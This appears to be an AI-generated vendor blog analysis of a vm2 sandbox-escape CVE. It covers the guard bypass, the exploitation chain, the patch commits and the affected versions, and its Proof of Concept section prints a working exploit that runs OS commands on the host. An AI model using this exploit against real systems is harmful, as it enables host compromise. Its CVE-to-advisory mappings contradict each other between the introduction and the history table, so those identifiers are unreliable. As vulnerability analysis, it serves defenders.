Automated Threat Modeling

vm2 Sandbox Escape CVE-2026-47137: Quick Look at a CVSS 10.0 Patch Bypass Enabling Host RCE

CVE-2026-47137 is a CVSS 10.0 sandbox escape in the vm2 Node.js library. It bypasses a prior security patch through a strict equality flaw. This post covers the proof of concept, the patch, and the affected versions.

CVE Analysis

10 min read

ZeroPath CVE Analysis
ZeroPath CVE Analysis

2026-06-12

vm2 Sandbox Escape CVE-2026-47137: Quick Look at a CVSS 10.0 Patch Bypass Enabling Host RCE
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

A single omitted configuration option in the popular Node.js sandboxing library vm2 completely negates a prior security patch, letting any code inside the sandbox escape and run arbitrary commands on the host operating system. CVE-2026-47137, scored at the maximum CVSS 10.0, bypasses the fix for CVE-2023-37903. Exploiting it needs no authentication, no user interaction, and no special privileges.

vm2 is an open source virtual machine and sandbox for Node.js, designed to run untrusted JavaScript code with controlled access to Node.js built in modules. It sees roughly 1.5 million weekly npm downloads, has 895 dependent packages, and over 56.7 million cumulative downloads, which is why Snyk classifies it as a "key ecosystem project." The library is widely used in CI/CD pipelines, low code platforms, and increasingly in AI agent frameworks that need to run LLM generated code in a sandboxed environment.

Technical Information

The Original Vulnerability and Its Patch

CVE-2023-37903 (tracked as GHSA-8hg8-63c5-gwmx) found that when a NodeVM was created with nesting: true and require: false, the NESTING_OVERRIDE builtin map in lib/nodevm.js (lines 96 through 99) unconditionally injected the vm2 package into the resolver. Sandbox code could then call require('vm2'), construct an inner NodeVM with unrestricted require settings, and escape the sandbox entirely.

The patch for that vulnerability added a guard at nodevm.js line 263 meant to block this dangerous combination:

// nodevm.js:263 — the security check if (options.nesting === true && options.require === false) { throw new VMError('...'); }

The Bypass: Strict Equality vs. Undefined

The flaw in CVE-2026-47137 is simple but devastating. The guard uses JavaScript's strict equality operator (===) to compare options.require against the literal value false. In JavaScript, accessing a property that is not present on an object returns undefined, not false. The expression undefined === false evaluates to false, so the guard is silently skipped.

The critical sequence in the vulnerable code is:

// nodevm.js:263 — the security check if (options.nesting === true && options.require === false) { throw new VMError('...'); } // nodevm.js:280 — the default assignment (AFTER the check) const { require: requireOpts = false } = options; // When options.require is undefined: // - Line 263: undefined === false → FALSE → check skipped // - Line 280: requireOpts = false → same as require:false

At line 280, the destructuring assignment with a default value (require: requireOpts = false) collapses the omitted require field to false. That produces the exact insecure configuration the guard at line 263 was designed to reject. The ordering is what breaks it: the security check runs on the raw input before destructuring, but the resolver logic runs on the destructured value after it.

Exploitation Chain

The attack follows a four step chain:

  1. Create an outer NodeVM with the bypassed configuration. The attacker, or the application acting on the attacker's input, creates a NodeVM with { nesting: true } and does not specify require. The guard is skipped because options.require is undefined, not false.
  2. Import vm2 inside the sandbox. Because nesting: true activates the NESTING_OVERRIDE map, the sandbox code can call require('vm2') to obtain the vm2 library itself, even though the effective requireOpts is false.
  3. Construct an unconstrained inner NodeVM. Using the imported vm2, the attacker creates a new inner NodeVM with an unrestricted require configuration, such as { builtin: ['child_process'] }.
  4. Execute arbitrary OS commands. The inner VM calls require("child_process").execSync("id") or any other system command, running it directly on the host under the Node.js process context.

This chain needs no authentication and no user interaction, and it can be triggered over a network connection whenever an application passes untrusted input to a vm2 sandbox configured with nesting: true.

Classification

The vulnerability is classified as CWE-913 (Improper Control of Dynamically Managed Code Resources), which reflects a weakness in how the library manages code isolation boundaries. The CVSS v3.1 vector is AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H: network exploitable, with changed scope and complete impact across confidentiality, integrity, and availability.

Proof of Concept

A complete, working proof of concept is published in the official GitHub Security Advisory GHSA-m4wx-m65x-ghrr, credited to researcher @q1uf3ngONEKEY. The PoC shows full remote code execution on the host system:

const { NodeVM } = require('vm2'); // nesting:true, require not specified (defaults to false AFTER the check) const nvm = new NodeVM({ nesting: true }); const result = nvm.run(` const { NodeVM } = require('vm2'); const inner = new NodeVM({ require: { builtin: ['child_process'] } }); module.exports = inner.run( "module.exports = require('child_process').execSync('id').toString()", 'exploit.js' ); `, 'exploit.js'); console.log(result); // prints host uid/gid — full RCE

The output (for example, uid=1000(user) gid=1000(user)) confirms code execution on the host rather than inside the sandbox. The outer NodeVM is created with only { nesting: true }, deliberately omitting the require option. That makes options.require undefined, which slips past the strict equality check against false, while the destructuring default then sets the internal requireOpts to false, the exact state the guard was supposed to prevent.

Patch Information

CVE-2026-47137 is patched in vm2 version 3.11.4, released on May 18, 2026. The fix lands in two commits by Patrik Simek, each widening the security guard further.

Commit 1: Reorder and Generalize the Falsy Check (01a7552)

The first commit restructures the constructor so that destructuring happens first, and the guard runs on the computed requireOpts value that actually drives the resolver:

const { require: requireOpts = false, nesting = false, /* ... */ } = options; if (nesting === true && !requireOpts) { throw new VMError('NodeVM `nesting: true` requires an explicit `require` config. ...'); }

Using !requireOpts instead of a strict comparison against the raw input catches every falsy path uniformly: require: false, omitted require, require: undefined, require: null, require: 0, and require: '' all trigger the VMError at construction time. This commit also adds a test file at test/ghsa/GHSA-m4wx-m65x-ghrr/repro.js covering every falsy variant plus the full RCE PoC chain.

Commit 2: Widen to All Insecure Input Shapes (86ab819)

The second commit addressed two more bypass classes:

  1. Truthy non true nesting values. The internal override gate uses truthiness (nesting && NESTING_OVERRIDE), not strict equality, so values like 1, 'yes', {}, or [] would still inject the override. The guard was widened from nesting === true to just nesting (a truthy check).
  2. Truthy non object require values. Passing require: true, require: 1, or require: 'yes' would pass the !requireOpts check because they are truthy, but inside makeResolverFromLegacyOptions these primitives destructure to all undefined, producing the same dangerous resolver.

The final guard performs a structural type check:

const hasRealRequireConfig = requireOpts instanceof Resolver || (typeof requireOpts === 'object' && requireOpts !== null); if (nesting && !hasRealRequireConfig) { throw new VMError('NodeVM `nesting` requires an explicit `require` config object. ...'); }

Now requireOpts must be either a genuine non null object (for example, {} or { builtin: [] }) or a Resolver instance. Every other shape is rejected at construction time. The documented escape hatch for embedders who intentionally accept the nesting trade off still works: passing any real require config object, even an empty {}, continues to work, which makes the developer's acknowledgment of risk visible at the call site.

Both commits include matching changes to CHANGELOG.md, README.md, docs/ATTACKS.md, and the test suite to document the broader defense invariant: configurations that produce a NESTING_OVERRIDE only resolver must fail loudly at construction time.

Affected Systems and Versions

All versions of vm2 up to and including 3.11.3 are affected. The vulnerability is patched in version 3.11.4.

The vulnerable configuration requires:

  • NodeVM created with nesting: true
  • The require option either omitted entirely or set to any value that is not a genuine non null object or Resolver instance

Any application, framework, or platform that creates a NodeVM with nesting: true without explicitly configuring require as an object is vulnerable. That includes transitive dependencies: 895 npm packages depend on vm2, and many may use the vulnerable configuration pattern without the end user's direct awareness.

Kodem Security has singled out AI agent frameworks as a high risk category, since these systems commonly use vm2 to sandbox LLM generated or user provided code with nesting enabled.

Vendor Security History

vm2 has a long, concerning pattern of sandbox escape vulnerabilities whose patches are later bypassed. The following table summarizes the escalating chain:

CVEGHSACVSSAffected VersionsPatched VersionDescription
CVE-2023-30547<= 3.9.163.9.17Sandbox escape
CVE-2023-37903GHSA-g644-9gfx-q4q49.8<= 3.9.193.9.20Sandbox escape via Node.js custom inspect function
CVE-2026-44007GHSA-8hg8-63c5-gwmx9.1<= 3.11.03.11.1nesting: true bypasses require: false via NESTING_OVERRIDE
CVE-2026-227099.8<= 3.10.13.11.0Sandbox escape via Promise callback bypass
CVE-2026-47137GHSA-m4wx-m65x-ghrr10.0<= 3.11.33.11.4Bypass of GHSA-8hg8-63c5-gwmx patch via strict equality flaw

The CVSS scores have climbed from 9.1 to 9.8 to the current maximum of 10.0. Kodem Security counted 13 vm2 sandbox escape CVEs in the 2026 wave alone. Endor Labs notes that the library is no longer actively maintained in a way that would address the architectural issues behind these repeated escapes. Several security research firms, including Endor Labs, Kodem Security, and Semgrep, recommend migrating away from vm2 entirely for security critical isolation.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization